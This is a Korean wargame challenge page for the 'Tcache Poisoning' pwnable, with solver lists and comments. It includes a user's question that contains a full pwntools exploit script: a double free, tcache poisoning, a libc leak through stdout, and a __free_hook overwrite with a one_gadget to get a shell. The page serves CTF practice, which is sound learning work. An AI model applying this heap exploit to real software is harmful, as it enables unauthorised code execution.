LEVEL 3

Tcache Poisoning

pwnable
  • 문제 정보
  • 풀이 34
  • 난이도 투표 49
  • 질문 12
  • 최근 풀이자 618
  • 댓글 27

문제 설명

Description

Exploit Tech: Tcache Poisoning에서 실습하는 문제입니다.

Challenge Updates

2023.04.28: Dockerfile이 제공됩니다.

출제자 정보

avatar
Dreamhack
대표 업적 없음

First Blood!

avatar
Sechack
CTF First Place
출제된 지 4시간 만에 풀이 완료!

난이도 투표 49

질문 12

문제 풀이에 어려움이 있으신가요?
커뮤니티에서 문제에 대한 질문하고 답변 얻기
timeout관련
from pwn import * p = remote("host3.dreamhack.games", 15157) #p = process("./tcache_poison") e = ELF("./tcache_poison") libc = ELF("./libc-2.27.so") #full_relro이기때문에 hook_overwrite를 고려해볼수도 있고 #double free bug를 써봐야할듯 stdout = e.symbols['stdout'] p.sendline(b'1') p.sendlineafter(b': ', b'48') p.sendafter(b': ', str('31337')) p.sendlineafter(b't\n', b'2') p.sendlineafter(b't\n',b'4') p.sendafter(b': ',str('AAAAAAAAA')) p.sendlineafter(b't\n',b'2') p.sendlineafter(b't\n', b'1') p.sendlineafter(b': ', b'48') p.sendafter(b': ', p64(stdout)) p.sendlineafter(b't\n', b'1') p.sendlineafter(b': ', b'48') p.sendafter(b': ', b'BBBBBBBB') p.sendlineafter(b't\n', b'1') p.sendlineafter(b': ', b'48') p.sendafter(b': ', b'\x60') p.sendlineafter(b't\n', b'3') p.recvuntil(b'Content: ') stdout = u64(p.recv(6) + b"\x00" * 2) print(hex(stdout)) lb = stdout - libc.symbols["IO_2_1_stdout"] fh = lb + libc.symbols["__free_hook"] print(hex(lb)) print(hex(fh)) oneshot = lb + 0x4f432 p.sendlineafter(b"t\n", b'1') p.sendlineafter(b": ", b'70') p.sendafter(b": ", b"31337") p.sendlineafter(b"t\n", b'2') p.sendlineafter(b"t\n", b'4') p.sendafter(b": ", b'aaaaaaaaa') p.sendlineafter(b"t\n", b'2') p.sendlineafter(b't\n', b'1') p.sendlineafter(b': ', b'70') p.sendafter(b": ", p64(fh)) p.sendlineafter(b't\n', b"1") p.sendlineafter(b": ", b'70') p.sendafter(b': ', b'31337') p.sendlineafter(b't\n', b"1") p.sendlineafter(b": ", b'70') p.sendafter(b': ', p64(oneshot)) p.sendlineafter(b"t\n", b'2') p.interactive() 저의 exploit코드는다음과 같습니다 local에서 실행시 끝까지 잘 진행되고 결과적으로 onegadget의 주소로 이동해서 터미널에서 ls를 치면 sh: 1: 2t.\x91\xd6: not found Allocate Free Print Edit 위와같은 문구가 무한히 반복하며 출력되어 서버에서도 시도했는데 서버는 sendlineafter에서 timeout이 발생하더라구요 Traceback (most recent call last): File "ex.py", line 17, in <module> p.sendafter(b': ',str('AAAAAAAAA')) File "/usr/local/lib/python3.6/dist-packages/pwnlib/tubes/tube.py", line 813, in sendafter res = self.recvuntil(delim, timeout=timeout) 다른분들의 ex코드들을 여러번 바꿔가며 실행해도 서버에서 sendlineafter부분에서 timeout이 발생합니다 원인이 뭘까요?
avatar MurphyLaw

최근 풀이자 618

avatar
dhjisgod
Open Beta Tester
KalioNix
워게임: 1
쿨비
대표 업적 없음
avatar
junan
공부벌레
an3ii11
대표 업적 없음
이석희
대표 업적 없음
새봄
대표 업적 없음
cngnlcks
대표 업적 없음
2계정
대표 업적 없음
OUYA
대표 업적 없음

댓글 27

avatar
finder
2023 Christmas CTF 참여
포너블 어렵다...
avatar
사용자
CTF Second Place
좋은 연습문제입니다~
avatar
KnightChaser
공부벌레
뉴비한테는 좀 매운맛...☆
avatar
is07king
워게임: 1
어려워여
avatar
착한 범고래
워게임: 50
DFB
avatar
UKO
2022 Christmas CTF 운영
:)
avatar
Sunja
강의 수강: 10
이해를 하니...재미가 생긴 문제
avatar
msh1307
대표 업적 없음
: )
For_Freedom
워게임 고인물
ㅎㅎ
0I0Hackyy
강의 수강: 1
재밌습니다.